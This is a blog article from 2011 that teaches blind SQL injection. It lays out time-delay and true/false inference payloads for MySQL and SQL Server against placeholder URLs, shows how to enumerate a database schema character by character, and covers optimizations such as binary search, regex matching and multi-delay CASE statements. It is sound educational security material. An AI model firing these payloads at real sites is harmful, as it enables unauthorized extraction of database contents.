now with video and slides

Not so blind SQL Injection

created on 2011-08-11 13:58:35

article

a glance on how far we can go using blind SQL injection based attacks concerning time and network noise [updated!]


Introduction

In this article I will be making a small overview on SQL Injection attacks to later cover in more detail a subtype known as Blind SQL Injection. I think this method shouldn't be considered any less dangerous or severe as it can be fast and quiet enough to be used in the real world.

Many techniques have hit the security news but not so many had the same impact and severity as SQL Injection does. This attack is possible due to a flaw in input validation where data sent to applications, mostly web, is not properly separated from SQL code. If this code hits the database many bad things can happen including denial of service, information disclosure, authentication bypass, data removal and manipulation or even privilege escalation. In many cases a web browser is enough to make it happen:

SQLi example

Even though this attack is not new, many applications are still vulnerable and others are being built without any awareness of this problem.

These and other aspects made this attack the top OWASP threat in 2010. Before going any further notice that most of the contents gathered in this article were not found by me so consider checking the References section at the end for more. I've chosen not to cover tools and defensive techniques as I plan to do it later.

Channels

Any channel of communication that plugs client's input with applications may allow this problem to occur. We have seen SQL injection attacks in HTTP requests using method GET or with method POST, in Cookies, in request headers, JSON, AJAX, SOAP, whatever...

Techniques

Techniques used to achieve these attacks include:

Second Order attacks

Second Order attacks can happen using any of these techniques but are a little more subtle in the sense that injection doesn't take place at the same time/place of execution. They can even occur between different applications that share the same database making harder to exploit and to the programmer to predict since handling direct user input may no longer be enough.

Stream flows

Concerning how do we retrieve data from SQL injection attacks we can classify them in 3 different ways:

The first of these occurs when the answer to a request comes with the output of some query manipulated with SQL injection. This is also known as a reflected attack. The second way is not very different from the first except on the way the attacker will retrieve the output of "his" query. This shall be other channel, different than the one used in the request. It can be samba, an email, FTP, anything…

Finally, there are inference based attacks where data is not directly retrieved from output but determined by intentional changes in the behavior in the target application. This may affect the visibility of some component in a webpage, the response time or any other detail that the attacker is able to manipulate by messing with the SQL code being executed.

Blind SQL injection

Blind SQL Injection happens when an application is vulnerable to SQL Injection but the attacker can't actually see the results either using In-band or Out-of-band streams (even though you could apply it here as well, making this attack very generic). Here, information is retrieved from the database solely using inference. For that, the attacks just needs to have a way to test his own conditional queries that may allow him to determine the table and column names that are part of the schema, the contents of their records and beyond. So he won't actually see the data but make questions that cleverly made will give him what he wants. The most notable methods to infer the answer in blind SQL injection are (in)visibility testing and time delay based queries.

(In)Visibility testing

There is some debate about wether this really should be considered blind SQL Injection as Visibility testing may appear as a contradiction when it comes to blindness but that's not really what this article is about.

Consider this test sequence:

1.
2.
3.
4.
http://[site]/news.php?id=112
http://[site]/news.php?id=112 and 1=2
http://[site]/news.php?id=112 and 1=1
http://[site]/news.php?id=112 and IF(XXX)

On line 2 we test the possibility to inject SQL code and see what happens using a condition known to be False. Something may change in the website behavior but we may not be sure about if that was caused by SQL Injection or simply some generic/error behavior taking place on the application so we try to differentiate in using a condition we know to be True as we see on line 3. If it is vulnerable it's likely that the output of the "new" should only take place when the condition is True. On line 4, XXX could be replaced by any desired condition to be executed on the database.

Time delay

This is another way of getting the answer to conditional requests by manipulating the response time with delays that take place on the database when executing the injected SQL code. These delays may be performed in different ways according to the database management system:

MySQL v4:

1.
2.
http://[site]/news.php?id=112; IF(XXX)
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))--

MySQL v5:

1.
http://[site]/news.php?id=112; IF(XXX) SLEEP(5)--

Microsoft SQL Server:

1.
http://[site]/news.php?id=112; IF(XXX) WAITFOR DELAY ‘0:0:5--

These examples could delay the response time by 5 seconds beyond the baseline level. On the first example (MySQL v4) because we don't have a sleep() function we use a time consuming function so we can never be so sure about the specifics time delay. From now on we will see in detail how we could do it for Microsoft SQL Server.

Schema Mapping

So, with these methods all we need to is to find a way of rebuilding the result of queries.

getting DB_name() length

1.
2.
3.
4.
5.
6.
;IF(LEN(DB_NAME())=1) WAITFOR DELAY '0:0:5'-- 
;IF(LEN(DB_NAME())=2) WAITFOR DELAY '0:0:5'--
;IF(LEN(DB_NAME())=3) WAITFOR DELAY '0:0:5'--
;IF(LEN(DB_NAME())=4) WAITFOR DELAY '0:0:5'--
;IF(LEN(DB_NAME())=5) WAITFOR DELAY '0:0:5'--
...

On this example we test DB_NAME() against possible length values until we get a response time over 5 seconds meaning True.

1.
2.
3.
4.
5.
6.
;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'--  
;IF(ASCII(substring((DB_NAME()),1,1))=49) WAITFOR DELAY '0:0:5'--
;IF(ASCII(substring((DB_NAME()),1,1))=50) WAITFOR DELAY '0:0:5'--
;IF(ASCII(substring((DB_NAME()),1,1))=51) WAITFOR DELAY '0:0:5'--
...
;IF(ASCII(substring((DB_NAME()),1,1))=122) WAITFOR DELAY '0:0:5'--

Here we go by testing each character against its possible ASCII values. First, we isolate it using the substring function that also will allow us to change the position in the target string and then we get its ASCII value with ASCII(). SUBSTRING ( value_expression , start_expression , length_expression )

Reducing time and noise

What we have seen so far may be applied to any other part of the database and it's valid as a proof of concept but the attacker challenge is just getting started. There are over 50 possible ASCII values to test just to get a single character so it's really time consuming. Here, we bring some tricks that will enhance the number of needed requests and the time required. Check the examples:

1.
2.
3.
4.
5.
6.
7.
;IF(ASCII(lower(substring((DB_NAME()),1,1)))>97) WAITFOR DELAY '0:0:5'-- 
;IF(ASCII(lower(substring((DB_NAME()),1,1)))>110) WAITFOR DELAY '0:0:5'--
;IF(ASCII(lower(substring((DB_NAME()),1,1)))>105) WAITFOR DELAY '0:0:5'-- <- TRUE
;IF(ASCII(lower(substring((DB_NAME()),1,1)))=106) WAITFOR DELAY '0:0:5'--
;IF(ASCII(lower(substring((DB_NAME()),1,1)))=106) WAITFOR DELAY '0:0:5'--

;IF(ASCII(lower(substring((DB_NAME()),1,1)))=110) WAITFOR DELAY '0:0:5'--

There are two optimizations going on here. The first happens with the usage of the lower() function that will greatly reduce the search domain space to almost a half. Now. other than allowed special characters we just need to test for alphabetic characters in upper case. The second optimization comes with the usage of < > signs to test chunks of ASCII table that we will eliminate by on each request. Considering the request in line 3 as being True, we would know that the answer is somewhere between 106 and 110. We cloud also bring a third optimization by testing the our chunks ordered by its occurrence frequency in the target language. This makes the test become much faster with an average of required requests close to 7 and way faster.

In most situations we will need to test list multiple fields for each record. We can get that by listing the TOP 1 record and denying all those we have already found. listing table names:

1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sys objects
where xtype=char(85)),1,1)))=117) WAITFOR DELAY '0:0:2'--
; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sys objects
where xtype=char(85) and name<>'TABLE-NAME-1'),1,1)))=117)
WAITFOR DELAY '0:0:2'--
...
; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sys objects
where xtype=char(85) and name<>'TABLE-NAME-1' and name<>'TABLE-NAME-2'),1,1)))=117)
WAITFOR DELAY '0:0:2'--
...

listing column names:

1.
2.
3.
4.
5.
6.
7.
; IF (ASCII(lower(substring((SELECT TOP 1 column_name
from DB-NAME.information_schema.columns where table_name='TABLE-NAME'),1,1)))=117)
WAITFOR DELAY '0:0:5'--
; IF (ASCII(lower(substring((SELECT TOP 1 column_name
from DB-NAME.information_schema.columns where table_name='TABLE-NAME'
AND column_name <> ‘COLUMN-NAME-1),1,1)))=117)
WAITFOR DELAY '0:0:5'--

If you're interested on this, check out this small python script that works as a proof of concept using these optimizations.

Regular Expressions

Some database management systems like Microsoft SQL Server also support regular expressions. Ultimately this isn't a big difference from what we just seen but probably more "readable". The time taken is approximately the same. Here is how we could do:

1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables
WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables
WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-g]' LIMIT 0,1)
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables
WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-n]' LIMIT 0,1)
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables
WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-l]' LIMIT 0,1)
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables
WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^m' LIMIT 0,1)
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables
WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1)

The first character of the table is 'n'. But are there other table names starting with 'n'?

1.
2.
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables
WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 1,1)

now on we must change the regular expression like this:

'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

you can confirm by testing: '^news$'

Deep Blind SQL Injection

By now, you should be able to do blind SQL Injection in a fast way. Still, this attack is not so generic as other types of SQL Injection. Many IDS/IPS and firewall configurations still deny this tests not because they understand SQL but because this attack can be taken as Denial of Service. So we need something to reduce the noise generated in the network. Deep Blind SQL Injection is about retrieving more than True or False in each request by messing with only variable we have, time. The idea is to use differentiated time delays to rise data density being retrieved by request.

The following example will give one character with 1 to 2 requests:

1.
2.
3.
4.
5.
6.
DECLARE @x as int; DECLARE @w as char(6);
SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(
CAST(QUERY as varbinary(8000))),POSITION,1));
IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;
SET @w='0:0:'+CAST(@x*SECONDS as char);
WAITFOR DELAY @w

this code takes the ASCII value of the target character and translates it to a unique value that will be used as time delay. This way we can determine the target character.

However, this method brings some problems. Until now, our strategy was to only wait upon True requests that are the minority. With this method, most requests will be true and the delay time can be much bigger (depending on the target character). Another problem takes place when this delay goes over 30 seconds which is a frequent value used as timeout making those requests unsuccessful. Let's see what we can do about it:

1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
SELECT CASE 
WHEN ASCII(lower(substring((SQL Query), Position, 1))) <94
THEN WAITFOR DELAY '0:0:6' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) <100
THEN WAITFOR DELAY '0:0:1' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) <105
THEN WAITFOR DELAY '0:0:2' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) <111
THEN WAITFOR DELAY '0:0:3' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) <117
THEN WAITFOR DELAY '0:0:4' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) <123
THEN WAITFOR DELAY '0:0:5' --

knowing it’s in range 100:104...

1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
SELECT CASE 
WHEN ASCII(lower(substring((SQL Query), Position, 1))) =100
THEN WAITFOR DELAY '0:0:1' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) =101
THEN WAITFOR DELAY '0:0:2' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) =102
THEN WAITFOR DELAY '0:0:3' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) =103
THEN WAITFOR DELAY '0:0:4' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) =104
THEN WAITFOR DELAY '0:0:5' --

If you know C this should be obvious to you. This is a Switch-case statement that turns out to be supported by Microsoft SQL Server as well. This makes it 2 requests to retrieve one character (avg <6 secs). This makes it a fast enough and quiet way that should make you consider about the potential effectiveness of Blind SQL Injection attacks.

Talk at Codebits V

Direct link here.

Slides

Check here [PDF].

Code

Check here [PY].

References

last modified on 2012-04-14 20:55:50
View comments